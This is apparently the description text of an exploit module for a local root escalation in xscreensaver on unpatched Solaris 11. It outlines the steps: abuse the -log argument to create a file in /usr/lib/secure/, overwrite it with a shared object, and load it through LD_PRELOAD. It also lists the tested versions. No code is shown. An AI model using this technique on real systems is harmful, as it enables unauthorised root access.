        This module exploits a vulnerability in `xscreensaver` versions
        since 5.06 on unpatched Solaris 11 systems which allows users
        to gain root privileges.

        `xscreensaver` allows users to create a user-owned file at any
        location on the filesystem using the `-log` command line argument
        introduced in version 5.06.

        This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,
        overwrites the log file with a shared object, and executes the shared
        object using the `LD_PRELOAD` environment variable.

        This module has been tested successfully on:

        xscreensaver version 5.15 on Solaris 11.1 (x86); and
        xscreensaver version 5.15 on Solaris 11.3 (x86).
